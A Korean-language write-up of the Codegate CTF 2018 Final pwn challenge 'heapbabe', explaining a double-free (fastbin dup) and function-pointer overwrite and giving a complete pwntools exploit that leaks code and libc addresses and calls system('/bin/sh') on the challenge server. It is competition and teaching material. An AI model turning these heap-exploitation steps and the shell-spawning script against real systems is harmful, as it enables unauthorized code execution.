Codegate CTF 2018 Final - heapbabe (Pwn)

문제 파일 (heapbabe.zip)

Check Security Settings

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

PIE가 걸린 바이너리였다. 이 문제의 특징은 다른 문제들과는 다르게 print하는 메뉴가 없고 Allocate, Free메뉴만 존재한다는 것이다.
그래서 어떻게 leak을 하면 될지에 대한 문제가 발생한다.

1
2
3
4
5
[A]llocate Buffer
[F]ree Buffer
[B]anner
[E]xit
>>

Analysis

  1. 이미 free된 곳을 다시 free할 수 있다. (fastbin dup 가능)
  2. alloc을 할 때, 입력한 문자열의 길이를 strlen으로 구한 다음 그 만큼 malloc한다. (입력 중간에 NULL이 들어갈 수 없음)
  3. free함수를 함수형 포인터에 넣어 사용하고 있다. (하위 byte를 조작하여 leak을 하지 않아도 그 함수 주변의 원하는 주소로 조작 가능)
  4. 0xf 사이즈보다 작거나 같으면 malloc(0x20), 크면 malloc(0x20), malloc(strlen(입력 문자열))

Exploit Scenario

  1. 적당한 사이즈(예: 0x60)만큼 2개 할당한다. (malloc(0x20), malloc(0x60)이 2번 이루어짐)
  2. 0, 1, 0번으로 순서대로 free한다. (fastbin_dup) [fastbin(0x20) : 0 -> 1 -> 0]
  3. 0xf보다 작거나 같은 사이즈로 한 개 alloc
  4. 0x20사이즈로 데이터를 할당한다. (fastbin_dup로 인해 &[0] == &([1].data))
  5. 1번째의 데이터를 이상하게 넣으면 0번째 값도 바뀐다. (같은 주소이기 때문)
  6. 하위 1 byte만 조작하여 putscode baseleak한다.
  7. 그 정보를 이용하여 printf를 사용해서 libc baseleak한다.
  8. 모든 정보가 구해졌으니 /bin/sh를 인자로 주고 system함수를 호출하게 한다.

solve.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *

libc = ELF('./libc-2.23.so')
# r = process('./heapbabe')
# r = process('./heapbabe', env={'LD_PRELOAD': './libc-2.23.so'})
r = remote('110.10.147.41', 8888)

def alloc(size, content):
r.sendlineafter('>>', 'A')
r.sendlineafter(':', str(size))
r.sendafter(':', content)

def free(idx):
r.sendlineafter('>>', 'F')
r.sendlineafter(':', str(idx))
r.sendlineafter(':', "DELETE")

alloc(0x60, 'A' * 0x60) # 0
alloc(0x60, 'A' * 0x60) # 1

log.info('fastbin dup')

free(0)
free(1)
free(0)

alloc(0xf, '\x00') # 0
alloc(0x20, 'A' * 0x18 + p16(0xaa)) # 1 (call puts)

free(0)

r.recvuntil('A' * 0x18, drop=True)
code_base_leak = u64(r.recvuntil('\n', drop=True).ljust(8, '\x00'))
code_base = code_base_leak - 0x0caa # call puts offset

log.info('code base : ' + hex(code_base))

free(1)

alloc(0xf, '\x00') # 0

payload = '%12$p'
payload += 'A' * (0x20 - 8 - len(payload))
payload += p64(code_base + 0xdf0) # call printf
alloc(0x20, payload) # 1

free(1)

leaked = int(r.recvuntil('A' * 19, drop=True), 16)
libc.address = leaked - 0x3c56a3

log.info('libc base : ' + hex(libc.address))
log.info('system addr : ' + hex(libc.symbols['system']))

r.sendline('NO_DELETE')

free(0)

alloc(0xf, '\x00') # 0

payload = '/bin/sh;'
payload += 'A' * (0x20 - 8 - len(payload))
payload += p64(libc.symbols['system'])
alloc(0x20, payload) # 1

free(0)

r.interactive()
Share